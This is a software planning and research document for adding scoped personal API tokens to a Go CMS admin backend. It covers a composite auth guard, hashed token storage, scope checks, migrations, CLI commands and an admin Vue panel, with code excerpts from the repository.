g.Post("/markdown/preview", requireAjax(s.markdownPreview)) // same
```
`/auth/refresh` and `/auth/logout` are mounted outside the guard (:228-236) — add explicit `g15_` refusal + tests.
---
### `modules/cabana/account_tokens.go` (controller, CRUD)
**Analog:** `modules/cabana/account.go`
Principal (:216-224):
```go
func accountPrincipal(w http.ResponseWriter, r *http.Request) *bouncer.Principal {
principal, ok := bouncer.User(r.Context())
if !ok || principal == nil || !principal.Backend || principal.ID == 0 {
WriteError(w, http.StatusUnauthorized, "unauthenticated", msgUnauthenticated)
return nil
}
return principal
}
```
Handler skeleton (:289-310): principal → `s.decodeCappedObject(w, r)` → `writeRelationError` on decode → `s.translator()` → `&ValidationError{Details: ...}` via `writeCRUDError` → `s.db()` with slog + 500:
```go
func (s *service) accountUpdate(w http.ResponseWriter, r *http.Request) {
principal := accountPrincipal(w, r)
if principal == nil { return }
body, err := s.decodeCappedObject(w, r)
if err != nil { writeRelationError(w, err); return }
tr := s.translator()
if details := refusedAccountKeys(r.Context(), tr, body); len(details) > 0 {
writeCRUDError(w, &ValidationError{Details: details})
return
}
db, err := s.db()
if err != nil {
slog.Default().ErrorContext(r.Context(), "cabana: account update without a database", "error", err)
WriteError(w, http.StatusInternalServerError, "error", msgServerError)
return
}
```
Messages: `backendMessage(ctx, tr, key, fallback)` (:246) for `api_tokens.name_required` etc.; `fieldDetail("scopes", msg)` for single-field 422. Error tail: copy `writeAccountError` (:495-507).
---
### `modules/cabana/admin_openapi.go` (swag stubs)
**Analog:** `AdminAccountUpdate` (:204-219) / `AdminMe` (:190-202):
```go
// AdminAccountUpdate documents PUT /account.
//
// @Summary Update my account
// @Description ...
// @Tags admin
// @Accept json
// @Produce json
// @Security BackendBearer
// @Param body body AdminAccountRequest true "Profile and optional password change"
// @Success 200 {object} Envelope[AdminProfile]
// @Failure 401 {object} ErrorEnvelope
// @Failure 403 {object} ErrorEnvelope
// @Failure 422 {object} ErrorEnvelope
// @Router /account [put]
func AdminAccountUpdate() {}
```
Also update the `BackendBearer` description at :10 (`Send "Bearer {access_token}"`) to mention `g15_` tokens. Create must document 201 (Pitfall 8). Regenerate via `scripts/check-admin-openapi.sh`; add routes to `phase09Routes` (security_coverage_test.go:34), `conformCases()` (openapi_conformance_test.go).
---
### `modules/lagoon/backend_admin_migrations.go` (migration)
**Analog:** last entry (:121-132):
```go
{
// WinterCMS ...: a nullable jsonable column. It is TEXT, not JSONB ...
ID: "202610090001_backend_users_metadata",
Migrate: func(tx *gorm.DB) error {
return tx.Exec(`ALTER TABLE backend_users ADD COLUMN IF NOT EXISTS metadata TEXT`).Error
},
Rollback: func(tx *gorm.DB) error {
return tx.Exec(`ALTER TABLE backend_users DROP COLUMN IF EXISTS metadata`).Error
},
},
```
Multi-statement `stmts := []string{...}` loop: first entry (:23-...). Full DDL in RESEARCH "Migration entry". Update the package doc comment above `BackendAdminMigrations` (:15-21) to mention the token table. Fix `TestBackendAdminMetadataColumn` (test :561-575) in the same commit.
---
### `modules/cabana/commands.go` (`admin:token:*`)
**Analog:** same file :18-50 (command table) and :52-104 (`adminCreate`):
```go
{
Name: "admin:reset-password",
Description: "Reset a backend administrator password and revoke existing tokens",
Args: []bonfire.Arg{{Name: "identifier", Description: "Login or email", Required: true}},
Flags: []bonfire.Flag{{Name: "password", Description: "..."}},
Run: func(ctx context.Context, in bonfire.Input, out bonfire.Output) error {
return adminResetPassword(ctx, app, in, out)
},
},
```
Body idiom: `flagValue(in, "...")`, `in.Argument("identifier")`, `withAdminDB(ctx, app, func(gdb *gorm.DB) error { return gdb.WithContext(ctx).Transaction(...) })`, errors prefixed `"cabana: ..."`. `--scope` uses `bonfire.Flag{Repeatable: true}` (bonfire/command.go:42-48). **Divergence:** `admin:token:create` must print only `out.Println(token)` — never `out.Success` (stdout == stderr in generated mains, Pitfall 7). Identifier resolution: reuse `findBackendLogin`. Plugin list: look up the party-published slice at Run time (Option A).
Tests: copy `TestAdminCreateCommand` (commands_test.go:24) harness.
---
### `../sm-journal-plugin/token_scopes.go`
**Analog:** `../sm-journal-plugin/admin_permissions.go` (:1-25):
```go
package journal
import "git.golem15.com/golem15/summercms/modules/pact"
const journalPermissionTab = "golem15.journal::lang.journal.tab"
// Permissions is the plugin's Winter registerPermissions() catalog. ...
func (*Plugin) Permissions() []pact.Permission {
return []pact.Permission{
{
Code: "golem15.journal.manage_settings",
Tab: journalPermissionTab,
Label: "golem15.journal::lang.journal.manage_settings",
Roles: []string{"developer"},
},
```
`func (*Plugin) TokenScopes() []pact.TokenScope` returning `journal` and `journal:read` (`golem15.journal.*`), labels under `golem15.journal::lang.scopes.*` in `lang/{en,pl}/lang.yaml`.
---
### `../sm-journal-plugin/controllers/api/auth.go` (resolver switch)
**Analog:** itself. Replace `newBackendGuard` (:58-81, the nil-`*cabana.Registry` bug, Pitfall 4) with the cabana resolver looked up per request; keep bodies byte-identical:
```go
func writeAuthRequired(w http.ResponseWriter, _ error) {
writeAPIError(w, http.StatusUnauthorized, errAuthenticationRequired)
}
func optionalBackendPrincipal(app *backpack.App, r *http.Request) *http.Request {
if r == nil || !hasBearer(r) { return r }
pr, err := newBackendGuard(app, nil).Authenticate(r)
if err != nil || pr == nil { return r }
return r.WithContext(bouncer.WithUser(r.Context(), pr))
}
func requireBackendPrincipal(app *backpack.App, w http.ResponseWriter, r *http.Request) (*http.Request, *bouncer.Principal, bool) {
pr, err := newBackendGuard(app, writeAuthRequired).Authenticate(r)
if err != nil || pr == nil {
writeAuthRequired(w, err)
return r, nil, false
}
r = r.WithContext(bouncer.WithUser(r.Context(), pr))
return r, pr, true
}
```
Map `ErrTokenScope` → `writeAPIError(w, 403, errInsufficientPerms)`; pass cover `"golem15.journal.*"`. Same for posts.go Index/Show (:32, :121) and featured-image handlers (:325, :393).
---
### `admin/src/components/account/ApiTokensPanel.vue` (+ `ApiTokenCreateDialog.vue`)
**Analogs:** `admin/src/views/AccountView.vue`, `admin/src/components/relation/RelationPickerModal.vue`
Imports (AccountView.vue :2-14):
```ts
import { computed, nextTick, ref } from 'vue'
import { CircleAlert, ImageUp, Trash2 } from '@lucide/vue'
import { api } from '../api/client'
import type { AdminAccountRequest } from '../api/types'
import { t } from '../app/i18n'
import { controlClass } from '../components/form/control'
import { fieldErrors, focusField } from '../components/form/formState'
import Button from '../components/ui/Button.vue'
import { useConfirm } from '../components/ui/confirm'
import { showToast } from '../state/useToasts'
```
API + 422 handling (AccountView.vue :219-233):
```ts
const result = await api.PUT('/account', { body: payload() })
...
errors.value = fieldErrors(result.error?.error.details)
...
focusField(ID_PREFIX, first)
```
Card class: AccountView.vue :255 `flex flex-col gap-3 rounded-card border border-border bg-surface p-7 shadow-card` (UI-SPEC uses `gap-4`).
Shared confirm: AccountView.vue :92 `const confirm = useConfirm()`, `confirm.ask({...}, run)` (confirm.ts:28), single `<ConfirmDialog>` at :411-419 — pass `confirm` to the panel as a prop.
Dialog shell (RelationPickerModal.vue :3-11): `DialogRoot, DialogPortal, DialogOverlay, DialogContent, DialogTitle, DialogDescription, DialogClose` from `reka-ui`; classes verbatim per UI-SPEC §4. Segmented control classes: `PermissionEditorField.vue`. Date format: reuse the `CellValue.vue` datetime formatter.
AccountView.vue edit: render `<ApiTokensPanel :confirm="confirm" />` after the `<form>` (ends ~:409), before `<ConfirmDialog>`.
Tests: `admin/tests/views/AccountView.test.ts` and `admin/tests/relation/RelationPickerModal.test.ts` (note: `admin/tests/components/` does not exist yet — either create it or place the test under `admin/tests/views/` / a new `admin/tests/account/`).
## Shared Patterns
### Admin error envelope
**Source:** `modules/cabana` `WriteError(w, status, code, msg)`, `WriteErrorDetails`, `writeCRUDError(w, &ValidationError{Details: ...})`, `fieldDetail`.
**Apply to:** token guard 401/403, interactiveOnly, account token endpoints, route gates on `/field-types` and `/markdown/preview`.
### Principal retrieval
**Source:** `bouncer.User(r.Context())`, `bouncer.Credential(r.Context())`; `accountPrincipal` (account.go:216).
**Apply to:** all account token handlers, `interactiveOnly`.
### Fail-loud capability compile
**Source:** `compileContributions` (registry.go:169), errors `fmt.Errorf("cabana: ...")`.
**Apply to:** scope registration.
### Logging
`slog.Default().ErrorContext/WarnContext(ctx, "cabana: ...", "key", val)` — never log plaintext or Authorization.
### Documentation
Every exported identifier/CLI command change updates the module README and `docs/` (TestDocsTree). Add `admin:token:*` to `cmd/summer/runtime.go` delegate table (:37-38) and `docs/console/introduction.md`.
## No Analog Found
| File | Role | Data Flow | Reason |
|---|---|---|---|
| `scopeCovers` wildcard-vs-wildcard logic (in `token_scopes.go`) | utility | transform | `granted()` has different semantics; write fresh with table tests (RESEARCH Pattern 2) |
## Metadata
**Analog search scope:** `modules/{cabana,bouncer,pact,lagoon,party,bonfire}`, `admin/src`, `admin/tests`, `cmd/summer`, `../sm-journal-plugin`, `../sm-summercmsio-app/plugins/golem15/user`
**Files scanned:** ~20
**Pattern extraction date:** 2026-10-11

View File

@@ -0,0 +1,726 @@
# Phase 16.3: Backend admin personal API tokens with scopes - Research
**Researched:** 2026-10-11
**Domain:** Go admin authentication (bouncer/cabana guard), permission/scope intersection, framework migration, admin SPA (Vue 3), bonfire CLI, Journal plugin wiring
**Confidence:** HIGH (every finding below is read from this repo and its sibling repos this session; no new external packages)
<user_constraints>
## User Constraints (from CONTEXT.md)
### Locked Decisions
#### Scope model
- **D-01:** Scopes are named and registered by plugins through a new pact capability (working name `pact.HasTokenScopes`). Each scope has a name, a label and description (phrasebook keys), a list of permission patterns (Winter `.*` wildcard semantics, Phase 9 D-03) and a list of allowed HTTP methods. The naming convention is `<plugin>` for full access and `<plugin>:read` for read-only, e.g. `journal` → `golem15.journal.*` with all methods. A duplicate scope name fails boot loudly. — **Reversibility:** costly — plugins implement the capability and stored tokens reference scope names.
- **D-02:** Read-only is enforced by the scope's method list. A `:read` scope allows only `GET`/`HEAD`, and the framework refuses any other method with 403 before the handler runs. Plugins do not change their handlers for this. A POST that only reads (search) is not reachable with a read scope; that is accepted.
- **D-03:** A token holds several scopes. A request passes if any one scope allows it, meaning its method list includes the request method and its patterns match every required permission. Scopes are immutable after creation.
- **D-04:** Framework scopes:
- `*` means full access: all methods, and it behaves exactly like the owner.
- `admin:read` means system-wide read-only: `GET`/`HEAD` on everything the owner can see.
Journal registers `journal` and `journal:read`. Payment (`payment:read`) and Fonoteka scopes come with their own phases through the same API.
- **D-05:** Deny by default. A token reaches a route only when a scope covers it. When `cabana.Allows` is called with an empty permission list under a token, only `*` (and `admin:read` for GET/HEAD) passes; other scoped tokens are refused. `GET /auth/me` is always allowed to any valid token, so an agent can see who it is.
- **D-06:** An explicit "interactive only" marker covers account changes (`PUT /account`, password, email, avatar), token management (create, list, revoke) and logout/refresh. These routes refuse every token, including `*`, and need an admin JWT session. A leaked token cannot take over the account or mint new tokens. — **Reversibility:** reversible.
#### Token lifecycle
- **D-07:** The format keeps the Apparatus shape: `g15_` + 40 lowercase hex chars (20 random bytes from `crypto/rand`, 160 bits). Only the sha256 hex is stored, in a unique indexed column, along with the last 4 characters as a display hint (`g15_…a1b2`). There is no checksum suffix. — **Reversibility:** one-way — issued tokens live in agent and integration configs.
- **D-08:** Expiry is optional. The SPA picker offers 30 / 90 / 365 days / never, defaulting to 90 days. The CLI accepts `--expires=30d|90d|365d|never` or a date, also defaulting to 90 days. Expired tokens return 401.
- **D-09:** Revoking is a soft revoke. It sets `revoked_at` and `revoked_by` and keeps the row for audit. Revoked tokens return 401 and are hidden from the default list, with an option to show them. Name, scopes and expiry cannot be edited: to change one, create a new token and revoke the old one.
- **D-10:** The owner is loaded fresh on every request through the existing `BackendUsers.FindByID` path. Deactivating (`is_activated=false`) or soft-deleting the owner makes all their tokens fail with 401. A password reset and the JWT `tokens_valid_after` cutoff do **not** invalidate tokens, so routine password changes don't break agents.
- **D-11:** `last_used_at` is stamped on use, at most once per minute per token, so every request isn't a write. Lists show name, scopes, hint, `created_at`, `last_used_at`, `expires_at`, and revoked state.
- **D-12:** The table is framework-owned. It is appended to `BackendAdminMigrations` (history id `summercms.cabana`) as a raw-SQL migration with a dated ID. Columns are roughly: id, backend_user_id (FK), name, token_hash (unique), token_hint, scopes (JSON array of names), expires_at, last_used_at, revoked_at, revoked_by, timestamps. Apparatus `golem15_apparatus_personal_api_tokens` rows are **not** migrated.
#### Guard and Journal wiring
- **D-13:** The cabana `backend` guard becomes composite. `Authorization: Bearer g15_…` goes to the token lookup; everything else (Bearer JWT or the admin cookie) goes to the existing `NewBackendJWTGuard` path unchanged. Tokens are accepted only in the Bearer header, never from a cookie or query string. The token row is returned as the bouncer credential (`CredentialGuard`). — **Reversibility:** costly — every backend-authenticated route goes through it.
- **D-14:** The permission side of the scope check lives in the principal. A token-authenticated `Principal` carries its scopes' permission patterns and methods, and `cabana.Allows` requires **both** an owner grant and a matching scope pattern. Every existing check (admin CRUD `RequiredPermissions`, actions, Journal's direct `Allows` calls) is restricted with no per-route annotation. A superuser holding a scoped token is still limited to the scope. The method check runs once, in the guard or middleware. — **Reversibility:** costly — `Allows` semantics change for every caller.
- **D-15:** Cabana exports a principal resolver, working name `cabana.BackendPrincipal(r)` or similar, that runs the composite guard plus the scope and method checks for routes that don't sit under the `backend` middleware. Journal's `controllers/api/auth.go` uses it instead of building its own `NewBackendJWTGuard`. Journal's error bodies and status codes stay byte-identical (`{"error":"Authentication required"}` 401, its existing 403). The public read routes stay optional-auth, so a valid token with `journal` or `journal:read` also unlocks drafts where the owner may see them. This reverses Phase 15 D-15. — **Reversibility:** reversible.
#### Admin SPA and CLI
- **D-16:** The SPA panel is an "API tokens" section on `/account` (`AccountView.vue`). It lists, creates and revokes the current user's own tokens only. There is no superuser view of other users' tokens; superusers use the CLI. The plaintext is shown once after creation with a copy button and a clear "you won't see this again" notice, and is never retrievable afterwards.
- **D-17:** The scope picker lists registered scopes with label and description. It hides scopes that grant the current user nothing (no overlap between the scope's patterns and their grants). `*` is always shown, labelled as full access ("everything you can do"). The server re-validates scope names and the overlap rule on create (422 on an unknown or empty scope).
- **D-18:** Account token endpoints sit under the admin API (Phase 9 D-09/D-10 envelope), for example `GET/POST /_admin/api/v1/account/tokens`, `DELETE /account/tokens/{id}` (revoke) and `GET /account/tokens/scopes`. They carry swag annotations so the OpenAPI document and the SPA TS types cover them, and they are interactive-only (D-06).
- **D-19:** CLI commands in cabana, beside `admin:create`:
- `admin:token:create <login|email> --name=… --scope=journal [--scope=payment:read] [--expires=90d|never]` prints only the plaintext token to stdout so it can be piped.
- `admin:token:list [<login|email>] [--revoked]`
- `admin:token:revoke <id>`
- `admin:token:scopes` lists registered scopes.
The CLI may create tokens for any backend user and applies the same overlap validation as D-17.
- **D-20:** Module READMEs (cabana, bouncer if its API changes, pact for the new capability) and the `docs/` pages cover the token API, the scope registration capability, the framework scopes and the CLI commands, per the project documentation rules. The Journal README documents its scopes and token auth.
### Claude's Discretion
- Exact names: the pact capability, the scope struct, the principal resolver, the table (`backend_api_tokens` or similar), and the interactive-only marker.
- How scopes are stored (JSON array vs `text[]`), and what an unknown scope name does at request time after a plugin drops it. Recommended: it grants nothing and is shown as unknown in lists.
- How the 403 for a scope refusal is reported in the framework envelope (e.g. `details.reason = "token_scope"`).
- Whether token requests get their own throttle bucket; reuse an existing throttle shape if cheap.
- How `last_used_at` is debounced (in-memory per process is fine).
### Deferred Ideas (OUT OF SCOPE)
- Backend-user management screen, including a superuser view and revoke of other users' tokens: its own phase.
- `payment:read` scope: registered by the Payment Gateway phase (18.x) through D-01.
- Fonoteka scopes: when a Fonoteka integration needs token access.
- Secret-scanner-friendly checksum token format: only if a scanner partnership is pursued.
</user_constraints>
<phase_requirements>
## Phase Requirements
No requirement IDs are mapped (ROADMAP: "Requirements: TBD"). The success criteria are the coverage source.
| ID | Description | Research Support |
|----|-------------|------------------|
| SC-1 | `backend` guard accepts a valid, unexpired, unrevoked `g15_` token as well as the backend JWT; request runs as the token's user | Composite guard (Pattern 1), registration point `http.go:145-160`, `Registry.Middleware` credential handling `registry.go:83-99` |
| SC-2 | Out-of-scope requests refused even when the role allows; token never exceeds owner | `Allows` rewrite (Pattern 2), method filter in guard (Pattern 1), unchecked-route audit (Pitfall 2), owner-branch bypass in Journal (Pitfall 3) |
| SC-3 | Create/list/revoke own tokens in SPA, plaintext shown once; CLI for any user | Account token API (Pattern 5), interactive-only marker (Pattern 4), SPA pipeline, CLI (Pattern 7, Pitfall 6/7) |
| SC-4 | Journal accepts a Journal-scoped token for writes | Resolver (Pattern 3), Journal call sites, `*cabana.Registry` never published (Pitfall 4) |
| SC-5 | READMEs and `docs/` cover token API, scopes, CLI | Docs tooling section, `docsCommands` and `delegateCommands` tables |
| SC-6 | Unit tests in the last plan | Validation Architecture |
</phase_requirements>
## Project Constraints (from CLAUDE.md)
- Lean planning: fewer, larger plans; **present the plan count with one-line scopes and wait for confirmation before writing PLAN.md files**.
- Unit tests are always the **last plan** of the phase; earlier plans may carry smoke tests only.
- Standard library first (`net/http`, `encoding/json`, `crypto/*`). A dependency is added only when a research doc or phase decision names it. This phase needs **no new Go or npm dependency**.
- Compiled plugins; no runtime plugin loading.
- `go vet` and `go test ./...` green at every commit.
- Commits: no co-author tags; one logical change per commit; planning docs and code in separate commits.
- Any change to a `modules/` package's exported API, config keys, CLI commands or dependencies updates that module's `README.md` **and** affected `docs/` pages in the same change. Framework READMEs never name a consuming application (say "host application"; examples use `blog`/`acme`).
- Every identifier named in a README/docs page must exist; `go test ./cmd/summer -run TestDocsTree` and `summer docs:build --check` verify identifiers, links, anchors, `src=` snippets, command names and consuming-application names. Config keys are not checked automatically.
- Core plugin contracts (user, blog, pages, payment) must be preserved.
- Two repos are written in this phase: `summercms.go` (framework) and `../sm-journal-plugin`; host apps only bump versions.
## Summary
The framework already has every seam this phase needs, and none of them needs a new library. `bouncer.Registry.Middleware` already prefers a `CredentialGuard` and stores the returned credential on the context; `bouncer.UnauthorizedWriter` receives the guard's error, so one composite guard can answer 401 for bad tokens and 403 for a method refusal from the same hook. Cabana registers its own `backend` guard at one point (`http.go:145-160`), so wrapping it is a local change. All permission enforcement in cabana funnels through `cabana.Allows` (no handler reads `IsSuperuser` or `PermissionGrants` directly), which makes D-14's "restrict in `Allows`" approach sound — provided the principal carries a method-filtered scope limit and `Allows` stops short-circuiting on `IsSuperuser` for scoped principals.
Four findings change the plan's shape. (1) `*cabana.Registry` is never published to the app, so Journal's `newBackendGuard` always builds `BackendUsers{Registry: nil}` and silently drops code-declared role grants; the D-15 resolver must be published by `cabana.Activate` and fixes this as a side effect. (2) Several cabana routes (`/field-types`, `/markdown/preview`) and two Journal handlers (`UploadFeaturedImage`, `DeleteFeaturedImage`, plus draft visibility via `canViewDraft`) authorize by ownership or authentication only, never through `Allows`; under a scoped token they would be reachable by an unrelated scope, so deny-by-default needs explicit gates there. (3) `cabana.RuntimeCommands(app)` takes no plugin list and is called from generated `main.go` files in every host app, so the CLI cannot see plugin scopes without either a signature change (forcing regenerated mains) or a published plugin list. (4) Appending to `BackendAdminMigrations` breaks `TestBackendAdminMetadataColumn`, which pins the last migration ID.
**Primary recommendation:** Build a cabana-owned composite `backend` guard that routes `Bearer g15_…` to a sha256 lookup, loads the owner through the existing `lazyBackendUsers`, method-filters the token's scopes into a `bouncer.Principal` scope limit, and publishes a resolver for Journal; rewrite `Allows` as "owner grant AND scope cover, per code"; gate every non-`Allows` route explicitly; keep all crypto in stdlib.
## Architectural Responsibility Map
| Capability | Primary Tier | Secondary Tier | Rationale |
|------------|-------------|----------------|-----------|
| Token minting, hashing, lookup | API / Backend (cabana) | Database (token table) | Secret generation and hashing never leave the server; only sha256 is persisted |
| Scope registry (plugin-declared) | API / Backend (cabana compile at boot, pact interface) | — | Same compile path as `HasPermissions`; fail-loud at boot |
| Scope ∩ permission enforcement | API / Backend (`cabana.Allows`, guard method filter) | — | Handlers already call `Allows`; method filter needs request context |
| Interactive-only refusal | API / Backend (route wrapper) | — | Must run before handler, per route |
| Journal token acceptance | API / Backend (cabana resolver used by Journal handlers) | — | Journal routes are not under the `backend` middleware |
| Token panel (list/create/revoke, show once) | Browser / Client (admin SPA) | API (account token endpoints) | Plaintext lives only in component state; server owns validation |
| Scope label translation | API / Backend | Browser | Plugin phrase keys are outside the `backend::lang.` bundle the SPA loads |
| CLI token management | API / Backend process (bonfire command in app binary) | Database | Runs without HTTP; needs plugin scope catalog |
| Token table schema | Database / Storage | — | Framework-owned migration under `summercms.cabana` history |
## Standard Stack
### Core (all already in the repo — nothing to install)
| Library | Version | Purpose | Why Standard |
|---------|---------|---------|--------------|
| `crypto/rand` (stdlib) | Go 1.27.0 | 20 random bytes per token | CSPRNG; D-07 |
| `crypto/sha256` + `encoding/hex` (stdlib) | Go 1.27.0 | Stored token hash | Same transform as Apparatus `hash('sha256', …)` and the user plugin's `HashAPIToken` |
| `crypto/subtle` (stdlib) | Go 1.27.0 | Constant-time compare after the row is fetched | Pattern already used in `wristband/crypto.go` |
| `gorm.io/gorm` | v1.31.2 (pinned in go.mod) | Token model queries | Project standard |
| `github.com/go-gormigrate/gormigrate/v2` | already pinned | Migration entry in `BackendAdminMigrations` | Project standard |
| `lagoon.Jsonable[[]string]` | in-repo | `scopes` TEXT column as JSON array | Same shape as user plugin `user_api_tokens.scopes` |
| `bonfire` (cobra wrapper) | in-repo | `admin:token:*` commands | `Flag.Repeatable` supports `--scope` repeated |
| swaggo/swag | v1.16.6 (run via `go run` in `scripts/check-admin-openapi.sh`) | OpenAPI for the account token endpoints | Project standard |
| openapi-typescript / openapi-fetch | 7.13.0 / 0.17.0 (admin/package.json) | SPA types and typed calls | Project standard |
| reka-ui, @lucide/vue | 2.9.10 / 1.17.0 | Dialog, RadioGroup, icons | UI-SPEC locked |
[VERIFIED: summercms.go/admin/package.json; go version → `go version go1.27.0-X:nodwarf5 linux/amd64`]
### Alternatives Considered
| Instead of | Could Use | Tradeoff |
|------------|-----------|----------|
| plain sha256 | HMAC-SHA256 with a server pepper | Protects against a DB-only leak being used for offline guessing, but 160-bit random secrets cannot be guessed anyway, and a pepper rotation would invalidate every token (D-07 is one-way). Not recommended. |
| bcrypt/argon2 of token | — | Wrong tool: slow hashes defend low-entropy passwords; they also prevent an indexed equality lookup. Do not use. |
| `scopes` as `text[]` | Postgres array | Needs a custom GORM type or `pq.StringArray`; TEXT JSON matches existing Winter-shaped jsonable columns. Use TEXT JSON. |
**Installation:** none.
## Package Legitimacy Audit
This phase installs no external packages (Go or npm). Every library used is already pinned in `go.mod` or `admin/package.json`.
| Package | Registry | Age | Downloads | Source Repo | Verdict | Disposition |
|---------|----------|-----|-----------|-------------|---------|-------------|
| (none added) | — | — | — | — | — | — |
**Packages removed due to [SLOP] verdict:** none
**Packages flagged as suspicious [SUS]:** none
## Architecture Patterns
### System Architecture Diagram
```
Authorization: Bearer <x> | summer_admin cookie
|
+--------------------------+---------------------------+
| |
admin API route (backend mw) Journal route (/_journal/api/v1, no backend mw)
| |
v v
bouncer.Registry.Middleware("backend") cabana resolver (published by Activate)
| |
+-------------------> composite guard <----------------+
|
x starts with "g15_"? |
+-------- yes -----------+---------- no ---------+
v v
format check (g15_ + 40 hex) existing NewBackendJWTGuard path
sha256 -> SELECT token row (bearer JWT or cookie, aud=backend,
(not revoked, not expired) blacklist, tokens_valid_after)
| |
owner = lazyBackendUsers.FindByID (activated, not soft-deleted, role+user grants)
| |
method filter: scopes whose Methods include r.Method |
none left -> 403 (WriteUnauthorized sees *ScopeError) |
| |
principal.Scope = {Full | Patterns} ; debounced last_used |
+---------------------> principal (+ token credential) on ctx
|
route wrapper: interactiveOnly? -- token credential --> 403
|
handler: cabana.Allows(principal, required)
owner grant(code) AND scope covers(code)
|
200 / 403 (envelope or Journal body)
```
### Recommended Project Structure
```
modules/
├── pact/capabilities.go # + TokenScope struct, HasTokenScopes interface, method helpers
├── bouncer/context.go # + Principal scope-limit field (json:"-")
├── bouncer/jwt.go # optionally export BearerToken (or keep cabana's own copy)
├── lagoon/backend_admin_migrations.go # + dated backend_api_tokens migration
└── cabana/
├── api_tokens.go # model, mint, hash, hint, lookup, revoke, debounce
├── token_scopes.go # compile scopes (framework + plugins), cover/overlap rules
├── token_guard.go # composite CredentialGuard + UnauthorizedWriter, resolver
├── account_tokens.go # GET/POST /account/tokens, DELETE /account/tokens/{id}, GET /account/tokens/scopes
├── contracts.go # Allows rewrite
├── commands.go # admin:token:create|list|revoke|scopes
└── admin_openapi.go # swag stubs + types for the four endpoints
admin/src/components/account/ApiTokensPanel.vue (+ ApiTokenCreateDialog.vue)
../sm-journal-plugin/
├── token_scopes.go # journal, journal:read
├── controllers/api/auth.go # switch to cabana resolver
└── lang/{en,pl}/lang.yaml # scope labels/descriptions
```
### Pattern 1: Composite `backend` guard (D-13)
**What:** One type implementing `bouncer.CredentialGuard` and `bouncer.UnauthorizedWriter`, registered by cabana under `backend` in place of the bare JWT guard.
Current registration [VERIFIED: modules/cabana/http.go:145-160]:
```go
guard := bouncer.NewBackendJWTGuard(secret, users, bl, writeUnauthenticated, AdminCookieName)
...
if owner, taken := guards.Owner("backend"); !taken {
if err := guards.Register("summercms.cabana", "backend", guard); err != nil {
```
The bouncer interfaces [VERIFIED: modules/bouncer/guard.go:10-25]:
```go
type CredentialGuard interface {
AuthenticateCredential(r *http.Request) (*Principal, any, error)
}
type UnauthorizedWriter interface {
WriteUnauthorized(w http.ResponseWriter, err error)
}
```
Middleware behaviour [VERIFIED: modules/bouncer/registry.go:83-99]: on `err != nil || principal == nil`, if the guard implements `UnauthorizedWriter` it calls `wtr.WriteUnauthorized(w, err)` and stops; on success it stores `WithUser` and, when `cred != nil`, `WithCredential`.
**How:** `AuthenticateCredential(r)`:
1. Read `Authorization`; if `strings.CutPrefix(h, "Bearer ")` yields a value starting with `g15_` → token branch. Otherwise delegate to the wrapped JWT guard's `Authenticate(r)` and return `(p, nil, err)`.
2. Token branch: reject anything not matching `^g15_[0-9a-f]{40}$` **before** touching the DB (401). Hash, `SELECT … WHERE token_hash = ? AND revoked_at IS NULL AND (expires_at IS NULL OR expires_at > now())`, constant-time compare the fetched hash.
3. Owner via the same `lazyBackendUsers.FindByID` the JWT guard uses (D-10: activation + soft-delete honored; `tokens_valid_after` not consulted).
4. Method filter → if no stored scope (known, registered) permits `r.Method`, return a typed `*ScopeError` so `WriteUnauthorized` answers **403** `forbidden` with `details.reason="token_scope"`; any other error answers the existing 401 `unauthenticated` envelope.
5. Set the principal's scope limit, stamp `last_used_at` (debounced, never fails auth), return `(principal, *BackendAPIToken, nil)`.
`WriteUnauthorized` receives `err`, so the 401/403 split needs no bouncer change. Name it clearly in a comment, because "unauthorized writer" writing 403 is surprising.
### Pattern 2: `Allows` as owner ∩ scope, per code (D-14, D-05)
Current [VERIFIED: modules/cabana/contracts.go:186-199]:
```go
func Allows(principal *bouncer.Principal, required []string) bool {
if principal == nil {
return false
}
if principal.IsSuperuser || len(required) == 0 {
return true
}
for _, code := range required {
if granted(principal.PermissionGrants, code) {
return true
}
}
return false
}
```
Current `Principal` [VERIFIED: modules/bouncer/context.go:14-22]:
```go
type Principal struct {
ID uint
MustChangePassword bool
PreferredLocale string
TokensValidAfter time.Time
Backend bool `json:"-"`
IsSuperuser bool `json:"-"`
PermissionGrants map[string]bool `json:"-"`
}
```
**Recommended shape** (names are discretion):
```go
// bouncer: nil means unrestricted (JWT session). Set only by a token guard,
// already filtered to the scopes whose methods include the request method.
type ScopeLimit struct {
Full bool // "*" (any method) or "admin:read" (on GET/HEAD)
Patterns []string // union of the remaining scopes' permission patterns
}
// Principal gains: Scope *ScopeLimit `json:"-"`
// cabana
func Allows(p *bouncer.Principal, required []string) bool {
if p == nil {
return false
}
if p.Scope != nil && !p.Scope.Full {
if len(required) == 0 {
return false // D-05
}
for _, code := range required {
if ownerHas(p, code) && scopeCovers(p.Scope.Patterns, code) {
return true
}
}
return false
}
// unchanged JWT / full-scope path
}
```
`ownerHas` = `p.IsSuperuser || granted(p.PermissionGrants, code)` (superuser is still limited by the scope, D-14).
**Why the union of patterns is correct:** `Allows` already has any-of semantics (Winter `hasAnyAccess`). With per-code evaluation, "some method-allowed scope covers code" equals "the union of method-allowed patterns covers code". D-03's "patterns match every required permission" reads as the single-code case; per-code any-of never grants more than either side. Flag for the planner (Assumptions A2).
**Do not reuse `granted()` verbatim for scope cover.** `granted` (contracts.go:203-235) matches a wildcard *requirement* only against concrete keys with a longer prefix and skips wildcard keys shorter than 2 chars, so `scopeCovers(["golem15.*"], "golem15.journal.*")` returns false and pattern `*` never matches. Write `scopeCovers` with explicit cases (pattern wildcard covers code; pattern wildcard prefix ⊇ required wildcard prefix) and table tests.
### Pattern 3: Published resolver for routes outside the `backend` middleware (D-15)
Journal today builds its own guard [VERIFIED: ../sm-journal-plugin/controllers/api/auth.go:58-81]:
```go
reg, _ = app.Lookup[*cabana.Registry]()
...
return bouncer.NewBackendJWTGuard(secret, cabana.BackendUsers{DB: gdb, Registry: reg}, bl, write)
```
`cabana.Activate` publishes only the guard registry [VERIFIED: modules/cabana/http.go:136-142 — `if err := app.Publish(guards); err != nil {`]; no `Publish` of `*Registry` exists anywhere in `modules/cabana` (grep this session), so `reg` is always nil and `rolePermissions` returns an empty map for nil (registry.go:368-372). Code-declared role grants (`Roles: []string{"developer"}` in Journal's catalog) are therefore missing on Journal's API today.
**Recommendation:** `Activate` publishes an exported resolver value (e.g. `*cabana.BackendAuth`) holding the composite guard and the compiled scope catalog. Export a function such as:
```go
// ResolveBackend authenticates r like the backend guard and requires, for a
// token, that a method-allowed scope covers at least one of cover.
func ResolveBackend(app *backpack.App, r *http.Request, cover ...string) (*http.Request, *bouncer.Principal, error)
```
